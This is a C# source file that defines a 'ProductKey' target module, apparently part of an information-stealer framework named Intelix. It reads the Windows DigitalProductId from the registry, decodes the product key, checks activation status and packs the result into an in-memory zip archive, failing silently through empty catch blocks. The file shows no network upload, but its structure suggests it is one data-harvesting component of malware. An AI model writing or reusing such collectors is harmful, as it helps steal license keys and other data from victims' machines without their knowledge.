136 lines
4.0 KiB
C#
136 lines
4.0 KiB
C#
using System;
|
|
using System.Collections;
|
|
using System.Text;
|
|
using Intelix.Helper.Data;
|
|
using Microsoft.Win32;
|
|
|
|
namespace Intelix.Targets.Device;
|
|
|
|
public class ProductKey : ITarget
|
|
{
|
|
private enum DigitalProductIdVersion
|
|
{
|
|
UpToWindows7,
|
|
Windows8AndUp
|
|
}
|
|
|
|
public void Collect(InMemoryZip zip, Counter counter)
|
|
{
|
|
try
|
|
{
|
|
RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32);
|
|
object obj = registryKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")?.GetValue("DigitalProductId");
|
|
if (obj != null)
|
|
{
|
|
byte[] digitalProductId = (byte[])obj;
|
|
registryKey.Close();
|
|
bool flag = (Environment.OSVersion.Version.Major == 6 && Environment.OSVersion.Version.Minor >= 2) || Environment.OSVersion.Version.Major > 6;
|
|
string windowsProductKeyFromDigitalProductId = GetWindowsProductKeyFromDigitalProductId(digitalProductId, flag ? DigitalProductIdVersion.Windows8AndUp : DigitalProductIdVersion.UpToWindows7);
|
|
if (!string.IsNullOrEmpty(windowsProductKeyFromDigitalProductId))
|
|
{
|
|
string text = (IsWindowsActivatedFast() ? "Activated ✅" : "Not Activated ❌");
|
|
StringBuilder stringBuilder = new StringBuilder();
|
|
stringBuilder.AppendLine("=== Windows Product Key Info ===");
|
|
stringBuilder.AppendLine("Status : " + text);
|
|
stringBuilder.AppendLine("Key : " + windowsProductKeyFromDigitalProductId);
|
|
stringBuilder.AppendLine("================================");
|
|
zip.AddTextFile("ProductKey.txt", stringBuilder.ToString());
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
private string DecodeProductKeyWin8AndUp(byte[] digitalProductId)
|
|
{
|
|
string text = string.Empty;
|
|
byte b = (byte)((digitalProductId[66] / 6) & 1);
|
|
digitalProductId[66] = (byte)((digitalProductId[66] & 0xF7) | ((b & 2) * 4));
|
|
int num = 0;
|
|
for (int num2 = 24; num2 >= 0; num2--)
|
|
{
|
|
int num3 = 0;
|
|
for (int num4 = 14; num4 >= 0; num4--)
|
|
{
|
|
num3 *= 256;
|
|
num3 = digitalProductId[num4 + 52] + num3;
|
|
digitalProductId[num4 + 52] = (byte)(num3 / 24);
|
|
num3 %= 24;
|
|
num = num3;
|
|
}
|
|
text = "BCDFGHJKMPQRTVWXY2346789"[num3] + text;
|
|
}
|
|
string text2 = text.Substring(1, num);
|
|
string text3 = text.Substring(num + 1, text.Length - (num + 1));
|
|
text = text2 + "N" + text3;
|
|
for (int i = 5; i < text.Length; i += 6)
|
|
{
|
|
text = text.Insert(i, "-");
|
|
}
|
|
return text;
|
|
}
|
|
|
|
private string DecodeProductKey(byte[] digitalProductId)
|
|
{
|
|
char[] array = new char[24]
|
|
{
|
|
'B', 'C', 'D', 'F', 'G', 'H', 'J', 'K', 'M', 'P',
|
|
'Q', 'R', 'T', 'V', 'W', 'X', 'Y', '2', '3', '4',
|
|
'6', '7', '8', '9'
|
|
};
|
|
char[] array2 = new char[29];
|
|
ArrayList arrayList = new ArrayList();
|
|
for (int i = 52; i <= 67; i++)
|
|
{
|
|
arrayList.Add(digitalProductId[i]);
|
|
}
|
|
for (int num = 28; num >= 0; num--)
|
|
{
|
|
if ((num + 1) % 6 == 0)
|
|
{
|
|
array2[num] = '-';
|
|
}
|
|
else
|
|
{
|
|
int num2 = 0;
|
|
for (int num3 = 14; num3 >= 0; num3--)
|
|
{
|
|
int num4 = (num2 << 8) | (byte)arrayList[num3];
|
|
arrayList[num3] = (byte)(num4 / 24);
|
|
num2 = num4 % 24;
|
|
array2[num] = array[num2];
|
|
}
|
|
}
|
|
}
|
|
return new string(array2);
|
|
}
|
|
|
|
private string GetWindowsProductKeyFromDigitalProductId(byte[] digitalProductId, DigitalProductIdVersion digitalProductIdVersion)
|
|
{
|
|
if (digitalProductIdVersion != DigitalProductIdVersion.Windows8AndUp)
|
|
{
|
|
return DecodeProductKey(digitalProductId);
|
|
}
|
|
return DecodeProductKeyWin8AndUp(digitalProductId);
|
|
}
|
|
|
|
public static bool IsWindowsActivatedFast()
|
|
{
|
|
try
|
|
{
|
|
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform");
|
|
if (registryKey != null)
|
|
{
|
|
object value = registryKey.GetValue("BackupProductKeyDefault");
|
|
return value != null && value.ToString().Length > 0;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
return false;
|
|
}
|
|
}
|